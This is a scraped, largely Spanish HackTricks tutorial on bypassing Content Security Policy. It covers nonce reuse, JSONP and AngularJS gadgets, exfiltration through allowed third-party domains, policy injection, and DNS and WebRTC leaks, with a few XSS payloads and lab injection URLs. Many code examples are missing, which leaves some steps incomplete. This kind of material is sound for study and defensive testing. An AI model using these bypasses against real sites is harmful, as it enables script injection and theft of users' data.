Content Security Policy (CSP) Bypass
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
La Política de Seguridad de Contenidos (CSP) es reconocida como una tecnología de navegador, principalmente destinada a proteger contra ataques como el scripting entre sitios (XSS). Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en cadena a través de funciones como eval, setTimeout o setInterval.
La implementación de CSP se lleva a cabo a través de encabezados de respuesta o incorporando elementos meta en la página HTML. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
Implemented via response header:
Implementado a través de la etiqueta meta:
CSP se puede hacer cumplir o monitorear utilizando estos encabezados:
Content-Security-Policy: Hace cumplir el CSP; el navegador bloquea cualquier violación.
Content-Security-Policy-Report-Only: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
CSP restringe los orígenes para cargar tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de eval(). Un ejemplo de política es:
script-src: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por controladores de eventos o hojas de estilo XSLT.
default-src: Establece una política predeterminada para la obtención de recursos cuando faltan directivas de obtención específicas.
child-src: Especifica los recursos permitidos para trabajadores web y contenidos de marcos incrustados.
connect-src: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest.
frame-src: Restringe las URLs para marcos.
frame-ancestors: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como <frame>, <iframe>, <object>, <embed>, y <applet>.
img-src: Define las fuentes permitidas para imágenes.
font-src: Especifica fuentes válidas para fuentes cargadas usando @font-face.
manifest-src: Define las fuentes permitidas de archivos de manifiesto de aplicación.
media-src: Define las fuentes permitidas para cargar objetos multimedia.
object-src: Define las fuentes permitidas para elementos <object>, <embed>, y <applet>.
base-uri: Especifica las URLs permitidas para cargar usando elementos <base>.
form-action: Enumera los puntos finales válidos para envíos de formularios.
plugin-types: Restringe los tipos MIME que una página puede invocar.
upgrade-insecure-requests: Indica a los navegadores que reescriban URLs HTTP a HTTPS.
sandbox: Aplica restricciones similares al atributo sandbox de un <iframe>.
report-to: Especifica un grupo al que se enviará un informe si se viola la política.
worker-src: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
prefetch-src: Especifica fuentes válidas para recursos que serán obtenidos o preobtenidos.
navigate-to: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, formulario, window.location, window.open, etc.)
*: Permite todas las URLs excepto aquellas con esquemas data:, blob:, filesystem:.
'self': Permite cargar desde el mismo dominio.
'data': Permite que los recursos se carguen a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).
'none': Bloquea la carga desde cualquier fuente.
'unsafe-eval': Permite el uso de eval() y métodos similares, no recomendado por razones de seguridad.
'unsafe-hashes': Habilita controladores de eventos en línea específicos.
'unsafe-inline': Permite el uso de recursos en línea como <script> o <style> en línea, no recomendado por razones de seguridad.
'nonce': Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).
Si tienes ejecución de JS limitada, es posible obtener un nonce usado dentro de la página con doc.defaultView.top.document.querySelector("[nonce]") y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
'sha256-<hash>': Permite scripts con un hash sha256 específico.
'strict-dynamic': Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
'host': Especifica un host específico, como example.com.
https:: Restringe las URL a aquellas que utilizan HTTPS.
blob:: Permite que los recursos se carguen desde URLs Blob (por ejemplo, URLs Blob creadas a través de JavaScript).
filesystem:: Permite que los recursos se carguen desde el sistema de archivos.
'report-sample': Incluye una muestra del código que viola en el informe de violación (útil para depuración).
'strict-origin': Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros).
'strict-origin-when-cross-origin': Envía URLs completas al hacer solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
'unsafe-allow-redirects': Permite cargar recursos que redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.
Payload funcional: "/><script>alert(1);</script>
Esto no está funcionando, para más información ver esto.
Carga útil funcional:
Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido la está creando, la nueva etiqueta de script se permitirá ejecutar.
Carga útil funcional:
Parece que esto ya no está funcionando
Cargas útiles:
Si puedes subir un archivo JS, puedes eludir este CSP:
Carga útil en funcionamiento:
Sin embargo, es muy probable que el servidor esté validando el archivo subido y solo te permita subir un tipo determinado de archivos.
Además, incluso si pudieras subir un código JS dentro de un archivo utilizando una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor apache seleccionan el tipo MIME del archivo según la extensión y navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que Apache no conoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/*.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una extensión malinterpretada, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un poliglota (algunos ejemplos de poliglota aquí).
Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales inyectando una acción de formulario (y tal vez esperando que los administradores de contraseñas completen automáticamente las contraseñas). Puedes encontrar un ejemplo en este informe. Además, ten en cuenta que default-src no cubre las acciones de formulario.
Para algunos de los siguientes payload unsafe-eval ni siquiera es necesario.
Cargar una versión vulnerable de angular y ejecutar JS arbitrario:
window (mira esta publicación):La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar qué funciones de qué bibliotecas devuelven el objeto window.
Angular XSS desde un nombre de clase:
Según este informe de CTF, puedes abusar de https://www.google.com/recaptcha/ dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:
La siguiente URL redirige a example.com (desde aquí):
Abusando *.google.com/script.google.com
Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hace en este informe.
Escenarios como este donde script-src está configurado en self y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento:
JSONBee contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.
La misma vulnerabilidad ocurrirá si el punto final de confianza contiene una Redirección Abierta porque si el punto final inicial es de confianza, las redirecciones son de confianza.
Como se describe en el siguiente post, hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
www.facebook.com, *.facebook.com
Exfil
Hotjar
*.hotjar.com, ask.hotjar.io
Exfil
Jsdelivr
*.jsdelivr.com, cdn.jsdelivr.net
Exec
Amazon CloudFront
*.cloudfront.net
Exfil, Exec
Amazon AWS
*.amazonaws.com
Exfil, Exec
Azure Websites
*.azurewebsites.net, *.azurestaticapps.net
Exfil, Exec
Salesforce Heroku
*.herokuapp.com
Exfil, Exec
Google Firebase
*.firebaseapp.com
Exfil, Exec
Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas eludir el CSP registrándote en el servicio de terceros y, ya sea exfiltrando datos a ese servicio o ejecutando código.
Por ejemplo, si encuentras el siguiente CSP:
o
Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con Google Analytics/Google Tag Manager. En este caso, sigues estos pasos generales:
Crea una cuenta de desarrollador de Facebook aquí.
Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web".
Ve a "Configuración -> Básico" y obtén tu "ID de aplicación".
En el sitio objetivo del que deseas exfiltrar datos, puedes exfiltrar datos utilizando directamente el gadget "fbq" del SDK de Facebook a través de un "customEvent" y la carga de datos.
Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web.
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la entrada del blog para explicaciones adicionales sobre otros abusos de terceros.
Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
Por ejemplo, si CSP permite la ruta https://example.com/scripts/react/, se puede eludir de la siguiente manera:
El navegador finalmente cargará https://example.com/scripts/angular/angular.js.
Esto funciona porque para el navegador, estás cargando un archivo llamado ..%2fangular%2fangular.js ubicado en https://example.com/scripts/react/, lo cual es compatible con CSP.
∑, lo decodificarán, solicitando efectivamente https://example.com/scripts/react/../angular/angular.js, que es equivalente a https://example.com/scripts/angular/angular.js.
Al explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, se pueden eludir las reglas de ruta.
La solución es no tratar %2f como / en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.
Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output
Si falta la directiva base-uri, puedes abusar de ella para realizar una inyección de marcado colgante.
Además, si la página está cargando un script usando una ruta relativa (como <script src="/js/app.js">) utilizando un Nonce, puedes abusar de la etiqueta base para hacer que cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, utiliza una URL httpS en la base.
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único $event, que hace referencia al objeto de evento nativo del navegador. Este objeto $event puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto $event/event posee un atributo path, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto window invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
Al dirigir este array al filtro orderBy, es posible iterar sobre él, aprovechando el elemento terminal (el objeto window) para activar una función global como alert(). El fragmento de código demostrado a continuación ilustra este proceso:
Este fragmento destaca el uso de la directiva ng-focus para activar el evento, empleando $event.path|orderBy para manipular el array path, y aprovechando el objeto window para ejecutar la función alert(), revelando así document.cookie.
Encuentra otros bypasses de Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este git repository.
Cargas útiles:
Otros puntos de ejecución arbitraria JSONP se pueden encontrar en aquí (algunos de ellos fueron eliminados o corregidos)
¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, aún fallará.
Sin embargo, de acuerdo con la descripción en CSP spec 4.2.2.3. Paths and Redirects, si la redirección lleva a un camino diferente, puede eludir las restricciones originales.
Aquí hay un ejemplo:
Si CSP está configurado en https://www.google.com/a/b/c/d, dado que se considera la ruta, tanto los scripts /test como /a/test serán bloqueados por CSP.
Sin embargo, el final http://localhost:5555/301 será redirigido en el lado del servidor a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Dado que es una redirección, la ruta no se considera, y el script puede ser cargado, eludiendo así la restricción de la ruta.
Con esta redirección, incluso si la ruta se especifica completamente, aún será eludida.
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abiertas y que no haya dominios que puedan ser explotados en las reglas de CSP.
Lee cómo aquí.
'unsafe-inline' significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y img-src * significa que puedes usar en la página web cualquier imagen de cualquier recurso.
Puedes eludir este CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
También podrías abusar de esta configuración para cargar código javascript insertado dentro de una imagen. Si, por ejemplo, la página permite cargar imágenes desde Twitter. Podrías crear una imagen especial, subirla a Twitter y abusar de la "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
La función importScripts de los service workers no está limitada por CSP:
Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection
Si un parámetro enviado por ti está siendo pegado dentro de la declaración de la política, entonces podrías alterar la política de alguna manera que la haga inútil. Podrías permitir script 'unsafe-inline' con cualquiera de estos bypasses:
Porque esta directiva sobrescribirá las directivas existentes de script-src. Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: ;_ Edge eliminará toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
Nota la falta de la directiva 'unsafe-inline'
Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe. Esta vez vas a hacer que la víctima acceda a la página de donde quieres extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargar, puedes extraer la información que necesitas.
Esta vez se va a extraer una bandera, cada vez que un carácter es adivinado correctamente a través de SQLi, la respuesta toma más tiempo debido a la función de sueño. Entonces, podrás extraer la bandera:
Este ataque implicaría algo de ingeniería social donde el atacante convencería al usuario para que arrastre y suelte un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, eludiendo CSP y permitiendo robar información sensible como cookies o tokens.
Para más información consulta el informe original aquí.
En este informe de CTF, CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de contaminación de prototipos o dom clobbering permitía abusar de un script diferente para cargar un script arbitrario.
Puedes restringir un CSP de un Iframe con el atributo csp:
En este informe de CTF, fue posible a través de inyección HTML restringir más un CSP de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la vulnerabilidad se volvió explotable. CSP se puede hacer más restrictivo utilizando etiquetas meta HTML y los scripts en línea pueden deshabilitarse eliminando la entrada que permite su nonce y habilitar scripts en línea específicos a través de sha:
Si logras que el servidor responda con el encabezado Content-Security-Policy-Report-Only con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que deseas exfiltrar con <script> y dado que es muy probable que unsafe-inline no esté permitido por la CSP, esto activará un error de CSP y parte del script (que contiene la información sensible) será enviada al servidor desde Content-Security-Policy-Report-Only.
Para un ejemplo consulta este writeup de CTF.
Se crea un iframe que apunta a una URL (llamémosla https://example.redirect.com) que está permitida por CSP.
Esta URL luego redirige a una URL secreta (por ejemplo, https://usersecret.example2.com) que no está permitida por CSP.
Al escuchar el evento securitypolicyviolation, se puede capturar la propiedad blockedURI. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que la URL inicial redirigió.
Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que lleva a una posible filtración de información sensible debido a comportamientos indefinidos.
Otra técnica implica explotar el CSP mismo para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto de caracteres desconocidos, se pueden probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
Al monitorear qué solicitudes son bloqueadas o permitidas por el CSP, se puede reducir los posibles caracteres en el subdominio secreto, eventualmente descubriendo la URL completa.
Ambos métodos explotan las sutilezas de la implementación y el comportamiento del CSP en los navegadores, demostrando cómo políticas aparentemente seguras pueden inadvertidamente leak información sensible.
Truco de aquí.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!
Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Según la última técnica comentada en este video, enviar demasiados parámetros (1001 parámetros GET aunque también se puede hacer con parámetros POST y más de 20 archivos). Cualquier header() definido en el código web de PHP no será enviado debido al error que esto provocará.
Se sabe que PHP almacena en búfer la respuesta hasta 4096 bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar suficiente información dentro de las advertencias, la respuesta será enviada antes del header CSP, causando que el header sea ignorado. Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el header CSP no sea enviado.
Idea de este writeup.
De este writeup parece que era posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un endpoint de una página para abusar de otros endpoints de la misma origen. Esto se hace cargando el endpoint vulnerable desde una página del atacante y luego refrescando la página del atacante al endpoint real en la misma origen que deseas abusar. De esta manera, el endpoint vulnerable puede usar el objeto opener en la carga útil para acceder al DOM del endpoint real a abusar. Para más información, consulta:
Además, wordpress tiene un endpoint JSONP en /wp-json/wp/v2/users/1?_jsonp=data que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese endpoint para generar un ataque SOME contra WordPress y incrustarlo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> ten en cuenta que este script será cargado porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del endpoint callback vulnerable que elude el CSP para dar más privilegios a un usuario, instalar un nuevo plugin...
Para más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Si hay un CSP estricto que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido)
Para cargar páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas en caché para su uso posterior.
Puedes indicar a un navegador que pre-resuelva un nombre de host con: <link rel="dns-prefetch" href="something.com">
Podrías abusar de este comportamiento para exfiltrar información sensible a través de solicitudes DNS:
Otra forma:
Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:
Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots)
En varias páginas puedes leer que WebRTC no verifica la política connect-src del CSP.
En realidad, puedes leak información utilizando una solicitud DNS. Revisa este código:
Otra opción:
https://csper.io/docs/generating-content-security-policy
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas!
Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
```html ```
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
